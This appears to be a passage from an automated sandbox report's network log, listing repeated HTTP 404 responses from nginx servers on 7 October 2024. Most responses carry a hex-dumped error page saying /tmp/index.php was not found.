Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Mon, 07 Oct 2024 13:03:03 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 04 00 00 00 72 e8 87 ee Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:28 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:31 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:32 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:33 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:37 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:41 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
